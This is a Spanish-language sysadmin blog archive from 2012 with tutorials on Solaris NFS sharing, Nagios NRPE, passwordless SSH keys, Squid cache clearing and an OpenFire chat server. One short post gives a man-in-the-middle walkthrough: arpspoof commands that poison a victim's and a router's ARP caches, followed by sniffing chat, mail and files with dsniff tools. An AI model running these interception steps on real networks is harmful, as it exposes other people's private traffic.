jueves, 22 de marzo de 2012

NFS Server en Solaris 10

En el Server:

Editamos el dfstab:

#vi /etc/dfs/dfstab
share -o ro /usr/share/carpeta_a_compartir


Levantamos el servicio del NFS Server:

#svcadm enable svc:/networking/nfs/server


Verificamos si está corriendo:

#svc -a | grep nfs


Verificamos si está compartido:

#share
#dfshares


Verifique que no existen montajes NFS:

#dfsmount


Si queremos descompartir todo lo que existe en el archivo /etc/dfs/dfstab:

#unshareall


Si queremos compartir todo lo que existe en el archivo /etc/dfs/dfstab:

#shareall



En el Cliente:

Creo directorio donde montaremos la partición NFS:

#mkdir /usr/share/carpeta_que_montaremos


Verificamos que el servicio del cliente NFS esté up:

#ps -a | grep nfs


Montamos el directorio remoto:

#mount server:/usr/share/carpeta_a_compartir /usr/share/carpeta_que_montaremos


Para ver opciones de montaje ejecutamos:

#mount


Probamos crear un archivo, no nos debería dejar porque montamos la partición ro(read only):

#touch /usr/share/carpeta_que_montaremos

Desmontamos:

#umount /usr/share/carpeta_que_montaremos

Addon NRPE para ejecutar plugins de Nagios

1. INTRODUCCION

El addon NRPE permite ejecutar plugins de Nagios en Linux/Unix remotos.

Nota: Es posible ejecutar los plugins de nagios en máquinas remotas a travéz de SSH. Haciendolo con plugin check_by_ssh.
Hacerlo con SSH es más seguro que con el addon NRPE, pero también produce un overhead tanto en la máquina de monitoreo como en la máquina remota.

Muchos administradores de nagios optan por NRPE, ya que genera una carga menor que utilizando SSH.


El NRPE consiste de 2 piezas:

1) El check_nrpe plugin, el cual reside en la máquina de monitoreo.

2) El demonio NRPE, el cuál corre en el Linux/Windows remoto que estamos monitoreando.

- Nagios ejecuta el check_nrpe y le dice que servicio debe chequear.

- El check_nrpe contacta al demonio NRPE en el host remoto.

- El demonio NRPE ejecuta el plugin de nagios en el host remoto para chequear el servicio.

- El resultado desde el servicio chequeado se pasa al demonio NRPE el cual lo devuelve al plugin check_nrpe y este último a su vez lo devuelve al nagios.

NOTA: El demonio NRPE requiere que el plugin de nagios sea instalado en el Linux/Unix remoto. Sin este el demonio no estaría habilitado para monitorear nada.


2. EJEMPLOS

a) Chequeos Directos:
El más simple es el complemento NRPE para monitorear el recurso “local” ó “privado” en un host remoto (Linux/Unix). Incluye chequeos como CPU, memoria usada, swap, usuarios logueados, disco usado, estado de procesos, etc.



b) Chequeos Indirectos:
Puede usar el addon NRPE indirectamente para chequeos de servicios “públicos”. Son recursos de servidores remotos que no son directamente chequeados por el host de monitoreo. El demonio NRPE actúa como un proxy intermediario que permite la comunicación entre el host de monitoreo y el servicio del servidor remoto.




3. INSTALACIÓN

Prerrequisitos:
- Acceso de root en el Linux/Unix remoto.
- Acceso a la cuenta de nagios ó el host de monitoreo.

Instalamos el demonio NRPE en el host remoto a monitorear:
Creamos la cuenta de usuario de nagios y le asignamos un password:

# useradd nagios
# passwd nagios


Instalamos el plugin de nagios:

# cd /tmp
# wget http://downloads.sourceforge.net/project/nagiosplug/nagiosplug/1.4.15/nagios-plugins-1.4.15.tar.gz?r=http%3A%2F%2Fwww.nagios.org%2Fdownload%2Fplugins%2F&ts=1330392020&use_mirror=ufpr
# tar xzvf nagios-plugins-1.4.15.tar.gz
# cd nagios-plugins-1.4.15
# ./configure
# make
# make install
# chown nagios.nagios /usr/local/nagios
# chown –R nagios.nagios /usr/local/nagios/libexec


Instalamos el demonio NRPE:

# cd /tmp
# wget http://downloads.sourceforge.net/project/nagios/nrpe-2.x/nrpe-2.13/nrpe-2.13.tar.gz?r=http%3A%2F%2Fexchange.nagios.org%2Fdirectory%2FAddons%2FMonitoring-Agents%2FNRPE--2D-Nagios-Remote-Plugin-Executor%2Fdetails&ts=1330392397&use_mirror=ufpr
# tar xzvf nrpe-2.13.tar.gz
# cd nrpe-2.13
# ./configure
# make all

NOTA: Puede ser que cuando ejecutamos el ./configure nos aparezca el siguiente error:

checking for SSL headers... configure: error: Cannot find ssl headers

Si sucede esto, simplemente instalamos libssl-dev con apt-get



Instalo los plugins NRPE para testing, el demonio y el ejemplo del archivo de configuración del demonio:

# make install-plugin
# make install-daemon
# make install-daemon-config


Podemos configurar el demonio del NRPE que corra bajo el superdemonio xinetd, pero yo quiero que corra como demonio independiente.

Lo corremos como demonio:

# /usr/local/nagios/bin/nrpe -c /usr/local/nagios/etc/nrpe.cfg -d

Testeamos el demonio NRPE localmente:

# netstat –at | grep nrpe
Tcp 0 0 *:nrpe *:* LISTEN

Si aparece esto es que está ok el nrpe. Si no funciona, asegurese de lo siguiente:

- Que haya agregado el nrpe al /etc/services (5666/tcp).
- Que esté corriendo el xinetd si lo coonfiguró bajo este servicio.
- Xinetd esté configurado e iniciado.
- Chequee los archivos de logs del xinetd ó el nrpe y resuelva cualquier problema que reporte.

Chequeamos para verificar que el demonio NRPE esté funcionando correctamente. Para hacerlo ejecutar el check_nrpe de la siguiente forma:

# /usr/local/nagios/libexec/check_nrpe –H localhost
NRPE v2.13 <-- Si aparecer su versión es que está correctamente configurado.

Tener en cuenta que hasta aquí sólo está escuchando peticiones sólo del localhost, si queremos habilitarlo para que desde el nagios(192.168.1.20) haga consultas, debemos editar el archivo de configuración siguiente:

# vim /usr/local/nagios/etc/nrpe.cfg
allowed_hosts=127.0.0.1,192.168.1.20

 Verificamos que el servicio esté corriendo, lo matamos y volvemos a levantarlo como demonio:


# ps -efa |grep nrpe
nagios   31360     1  0 10:49 ?        00:00:00 /usr/local/nagios/bin/nrpe -c /usr/local/nagios/etc/nrpe.cfg -d
# kill -15 31360
# /usr/local/nagios/bin/nrpe -c /usr/local/nagios/etc/nrpe.cfg -d

Recuerde agregarlo para cuando se reinicie el equipo, podemos crear un script para que levante ó agregarlo en el /etc/rc.local

# vim /etc/rc.local
/usr/local/nagios/bin/nrpe -c /usr/local/nagios/etc/nrpe.cfg -d


Habilitando NRPE en el Firewall:

# iptables –A INPUT –p tcp –m tcp –dport 5666 –j ACCEPT



Customizando Comandos NRPE:

El archivo de configuración de NRPE es el siguiente:
# vim /usr/local/nagios/etc/nrpe.cfg


Puede testear los siguientes comandos ejecutándolos:
# /usr/local/nagios/libexec/check_nrpe –H localhost –c check_users
# /usr/local/nagios/libexec/check_nrpe –H localhost –c check_load
# /usr/local/nagios/libexec/check_nrpe –H localhost –c check_hda1
# /usr/local/nagios/libexec/check_nrpe –H localhost –c check_total_procs
# /usr/local/nagios/libexec/check_nrpe –H localhost –c check_zombie_procs


Hasta este punto, ya tenemos instalado y configurado NRPE en el host remoto. Ahora hay que instalar un componente para configurar las entradas en el server de monitoreo.


Instalamos el NRPE en el host de monitoreo:

Lo instalamos en el servidor de monitoreo, donde tenemos instalado y corriendo nagios. Debemos:

- Instalar el plugin check_nrpe
- Crear un comando en Nagios para usar el plugin check_nrpe
- Crear un host y servicio en nagios para monitorear en el host remoto

Está asumido que nagios está instalado y configurado en este server.

Instalamos el plugin check_nrpe:

# cd /tmp
# wget http://downloads.sourceforge.net/project/nagios/nrpe-2.x/nrpe-2.13/nrpe-2.13.tar.gz?r=http%3A%2F%2Fexchange.nagios.org%2Fdirectory%2FAddons%2FMonitoring-Agents%2FNRPE--2D-Nagios-Remote-Plugin-Executor%2Fdetails&ts=1330392397&use_mirror=ufpr
# tar xzvf nrpe-2.13.tar.gz3
# cd nrpe-2.13
# ./configure
# make all
# make install-plugin


Testeamos la configuración desde el Servidor de Monitoreo (Nagios) al Demonio NRPE remoto:

# /usr/local/nagios/libexec/check_nrpe –H 192.168.0.1
NRPE v2.13 <-- Si aparece esto es que está instalado y configurado correctamente NRPE en el host remoto.


Si el plugin devuelve error, hay que chequear lo siguiente:

- El firewall en ambos equipos esté habilitando la comunicación.
- Asegurarse que el demonio NRPE está instalado y ejecutando correctamente bajo xinetd.
- Asegurarse que el host remoto no tenga reglas de iptables locales que previenen el monitoreo.

Crear la definición de un comando, agregar al final del siguiente archivo:

# vim /usr/local/nagios/etc/commands.cfg
Lo siguiente:
define command{
command_name check_nrpe
command_line $USER1$/check_nrpe –H $HOSTADDRESS$ -c $ARG1$
}


Crear definición de host y servicios:

Creamos un template para los Unix/Linux:
define host{
name nombre-del-template-linux
use generic-host #Herencia de un host genérico
check_period 24x7
check_interval 5
retry_interval 1
max_check_attempts 10
check_command check-host-alive
notification_period 24x7
notification_interval 30
notification_options d,r
contact_groups admins
register 0 # NO REGISTRAR, ES UN TEMPLATE
}


Note que este es un template definido y está heredando valores por default desde un template generic-host, el cuál se define en localhost.cfg

Ahora definimos un nuevo host Linux/Unix el cual será referenciado por el template previo.

define host{
use nombre-del-template-linux #Hereda el default del template previo
host_name nombreHostRemoto #El nombre que le daremos al server
alias loQueSeMeCante #Un alias larg
address 192.168.0.1 #La ip del server remoto a monitorear
}


Ahora definiremos un servicio para el host creado recientemente. Vemos que usa el comando definido en el nrpe.cfg en el host remoto. El check_load es pasado como argumento al check_nrpe definido en el demonio NRPE:

define service {
use generic-service
host_name nombreHostRemoto
service_description Carga de CPU
check_command check_nrpe!check_load
}


El siguiente monitorea la cantidad de usuarios logueados en el host remoto:

define service{
use generic-service
host_name remotehost
service_description Current Users
check_command check_nrpe!check_users
}


En cambio este otro muestra el espacio libre en disco del hda1 en el host remoto:

define service{
use generic-service
host_name remotehost
service_description /dev/hda1 Free Space
check_command check_nrpe!check_hda1
}


Reiniciamos nagios:

# /usr/local/nagios/bin/nagios –v /usr/local/nagios/etc/nagios.cfg
# /etc/init.d/nagios restart



FUENTES:

http://nagios.sourceforge.net/docs/nrpe/NRPE.pdfhttp://www.crucialwebhost.com/blog/using-nrpe-to-monitor-remote-services/http://nagioses.blogspot.com/2009/03/nrpe.html

lunes, 19 de marzo de 2012

Man in the Middle con arpspoof

Ip Router: 192.168.0.1
Ip Victima: 192.168.0.100
Ip Atacante: 192.168.0.200

LOS SIGUIENTES PASOS LOS REALIZAMOS TODOS EN EL ATACANTE:

Instalamos el paquete dsniff, el cual contiene el arpspoof:
apt-get install dsniff


Habilitamos el forward:
echo 1 > /proc/sys/net/ipv4/ip_forward


Iniciamos el envenenamiento, en una ventana ejecutamos lo siguiente diciendole al router que somos la victima (debemos dejarlo ejecutando):
arpspoof -i wlan0 -t 192.168.0.1 192.168.0.100


En otra ventana ejecutamos lo siguiente diciendole a la victima que somos el router (debemos dejarlo ejecutando):
arpspoof -i wlan0 -t 192.168.0.100 192.168.0.1


Ahora ponemos un sniffer a escuchar el trafico, por ejemplo el sniffeo de chat con imsniff:
apt-get install imsniff
imsniff wlan0


O tambien podemos usar el msgsnarf, el webspy, filesnarf y mailsnarf:

martes, 13 de marzo de 2012

SSH sin password usando llaves Pública y Privada

Generamos el par de claves:

root@notebook:~/.ssh# ssh-keygen

Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ENTER
Enter passphrase (empty for no passphrase): ENTER
Enter same passphrase again: ENTER
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
96:49:a8:2d:23:ec:c0:12:34:d5:08:fd:4b:ca:df:69 root@notebook
The key's randomart image is:
+--[ RSA 2048]----+
| ++.o |
|. .o . . |
|. . . . |
|.o = . o |
|o.+ * o S |
|.o + + . |
| . . . . |
| . E |
| . |
+-----------------+

Vemos las claves que fueron creadas en /root/.ssh:

root@notebook:~/.ssh# ls -l

total 5
-rw------- 1 root root 1679 Mar 13 17:29 id_rsa
-rw-r--r-- 1 root root 395 Mar 13 17:29 id_rsa.pub
-rw-r--r-- 1 root root 1424 Mar 4 07:39 known_hosts

Copiamos la llave pública desde el Cliente SSH al Servidor SSH(192.168.1.100) con el comando ssh-copy-id:

root@notebook:~/.ssh# ssh-copy-id -i id_rsa.pub root@192.168.1.100

The authenticity of host '192.168.1.100 (192.168.1.100)' can't be established.
RSA key fingerprint is 17:bb:b3:dd:30:52:37:30:b6:a6:81:22:a6:b2:cc:31.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.100' (RSA) to the list of known hosts.
root@192.168.1.100's password: INGRESAMOS EL PASWORD DE ROOT
Now try logging into the machine, with "ssh 'root@192.168.1.100'", and check in:

.ssh/authorized_keys

to make sure we haven't added extra keys that you weren't expecting.

Ahora nos logueamos directamente sin ingresar password:

root@notebook:~/.ssh# ssh root@192.168.1.100

Linux netbook 2.5 #1 SMP Mon Jan 16 16:04:25 UTC 2012 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 13 17:35:49 2012 from 192.168.1.100

lunes, 12 de marzo de 2012

Limpiando Cache del Squid

Detenemos el demonio:
morsa# /etc/init.d/squid stop


Borramos las carpetas del cache:
morsa# rm -rf /ruta/del/cache/del/squid/*


Regeneramos las carpetas del cache:
morsa# squid -z


Volvemos a iniciar el demonio:
morsa# /etc/init.d squid start


Podemos poner todo en un script y listo:

# vi /root/limpiar_chache_squid.sh
#!/bin/bash
/etc/init.d/squid stop
rm -rf /var/spool/squid/*
squid -z
/etc/init.d/squid start


jueves, 1 de marzo de 2012

OpenFire Debian Squeeze


Qué es OpenFire?

Es un sistema de mensagería instantánea en el cual podemos crear nuestros propios usuarios, compartir archivos, mensajes offline, grupos y otros plugins con diversas funcionalidades.

Editamos el sources:
# vim /etc/apt/sources.list

deb http://mirrors.kernel.org/debian/ squeeze main contrib non-free
deb-src http://mirrors.kernel.org/debian/ squeeze main contrib non-free

deb http://security.debian.org/ squeeze/updates main contrib non-free
deb-src http://security.debian.org/ squeeze/updates main contrib non-free


Actualizamos la lista de paquetes:
# apt-get update


Instalamos java:
# apt-get install sun-java6-jre


#Descargamos el Openfire:
wget http://www.igniterealtime.org/downloadServlet?filename=openfire/openfire_3.6.4_all.deb


#Instalamos
dpkg -i openfire_3.6.4_all.deb
Selecting previously deselected package openfire.
(Reading database ... 62835 files and directories currently installed.)
Unpacking openfire (from openfire_3.6.4_all.deb) ...
Setting up openfire (3.6.4) ...
adduser: Warning: The home directory `/var/lib/openfire' does not belong to the user you are currently creating.
insserv: warning: script 'openfire' missing LSB tags and overrides
Starting openfire: openfire.


#Editamos el xml e ingresamos la ip en la sección y eliminamos el comentario
vim /etc/openfire/openfire.xml


#Cambiamos:
!--^M
network ^M
interface /interface^M
/network^M
--^M/

#Por:
^M
interface 192.168.1.102 /interface ^M
/network ^M


#Reiniciamos el openfire:
/etc/init.d/openfire restart


Ingresamos por web y seguimos los screens para la configuración:
http://192.168.1.102:9090













Nos Logueamos a la consola de administración y creamos dos usuarios:







Descargamos el spark (Cliente para windows)
Y nos logueamos con uno de los usuarios creados:












Ahora descargamos el sparkweb y nos logueamos con el otro usuario que habíamos creado:

cd /var/www
wget http://www.igniterealtime.org/downloadServlet?filename=sparkweb/sparkweb_0_9_0.tar.gz
tar xzvf downloadServlet\?filename\=sparkweb%2Fsparkweb_0_9_0.tar.gz


Ingresamos al sparkweb y nos logueamos con el otro usuario creado:



Luego de agregar cada contacto en los respectivos usuarios, probamos el chat:



Fuentes:
http://library.linode.com/
http://www.igniterealtime.org
http://es.wikipedia.org/wiki/Openfire